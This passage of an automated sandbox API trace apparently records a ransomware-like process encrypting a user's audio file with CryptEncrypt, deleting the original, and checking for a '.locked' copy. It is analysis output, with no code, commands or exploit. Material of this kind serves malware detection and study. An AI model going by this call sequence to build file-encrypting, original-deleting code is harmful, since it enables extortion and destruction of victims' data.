lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a54934*, lpNumberOfBytesRead=0x99ae7a8*=0xaf71, lpOverlapped=0x0) returned 1 [0133.495] CryptEncrypt (in: hKey=0x8e84df8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a68940*, pdwDataLen=0x99ae79c*=0xaf70, dwBufLen=0xaf70 | out: pbData=0x6a68940*, pdwDataLen=0x99ae79c*=0xaf70) returned 1 [0133.496] WriteFile (in: hFile=0x874, lpBuffer=0x6a501dc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a501dc*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0133.497] WriteFile (in: hFile=0x874, lpBuffer=0x6a6992c*, nNumberOfBytesToWrite=0x9f84, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a6992c*, lpNumberOfBytesWritten=0x99ae780*=0x9f84, lpOverlapped=0x0) returned 1 [0133.497] ReadFile (in: hFile=0x858, lpBuffer=0x6a54934, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a54934*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0133.498] CryptEncrypt (in: hKey=0x8e84df8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a738d4*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a738d4*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0133.498] CryptEncrypt (in: hKey=0x8e84df8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a73908*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a73908*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0133.498] WriteFile (in: hFile=0x874, lpBuffer=0x6a501dc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a501dc*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0133.498] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", lpFilePart=0x0) returned 0x3f [0133.498] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.498] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.498] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.498] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.499] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\a3tyfwl k9v.wav")) returned 0x20 [0133.499] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", lpFilePart=0x0) returned 0x3f [0133.499] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.499] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.500] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.500] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.500] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.500] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.500] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.500] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.500] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.500] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.500] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.500] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.500] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0133.500] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0133.501] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0133.501] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0133.501] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97")) returned 0x10 [0133.501] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97")) returned 0x10 [0133.501] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97", lpFilePart=0x0) returned 0x2f [0133.501] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97", lpFilePart=0x0) returned 0x2f [0133.501] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\a3tyfwl k9v.wav")) returned 0x20 [0133.501] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", lpFilePart=0x0) returned 0x3f [0133.501] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", lpFilePart=0x0) returned 0x3f [0133.502] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", lpFilePart=0x0) returned 0x3f [0133.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0133.502] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", lpFilePart=0x0) returned 0x3f [0133.502] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav\\", lpFilePart=0x0) returned 0x40 [0133.502] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0133.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0133.502] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0133.502] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0133.502] CoTaskMemFree (pv=0x8eb8930) [0133.503] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\a3tyfwl k9v.wav")) returned 0x20 [0133.504] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", lpFilePart=0x0) returned 0x3f [0133.504] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", lpFilePart=0x0) returned 0x3f [0133.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0133.504] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\a3tyfwl k9v.wav"), fInfoLevelId=0x0, lpFileInformation=0x6a8900c | out: lpFileInformation=0x6a8900c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc089fe20, ftCreationTime.dwHighDateTime=0x1d4aaf7, ftLastAccessTime.dwLowDateTime=0x2d04b010, ftLastAccessTime.dwHighDateTime=0x1d4a2d6, ftLastWriteTime.dwLowDateTime=0x2d04b010, ftLastWriteTime.dwHighDateTime=0x1d4a2d6, nFileSizeHigh=0x0, nFileSizeLow=0xaf71)) returned 1 [0133.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0133.504] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\a3tyfwl k9v.wav")) returned 1 [0133.507] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.507] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.507] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.507] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.507] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.508] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\a3tyfwl k9v.wav.locked")) returned 0x20 [0133.508] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\a3tyfwl k9v.wav.locked")) returned 0x20 [0133.508] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav.locked", lpFilePart=0x0) returned 0x46 [0133.508] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav.locked", lpFilePart=0x0) returned 0x46 [0133.508] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.508] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav", lpFilePart=0x0) returned 0x3f [0133.509] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.509] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.509] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.509] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.510] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.510] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.510] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.510] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.510] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.512] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.512] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x8d00\x7411") returned 0x0 [0133.512] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.512] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.512] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.513] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.513] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.513] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.513] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.513] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.515] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.515] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.515] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.515] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.515] 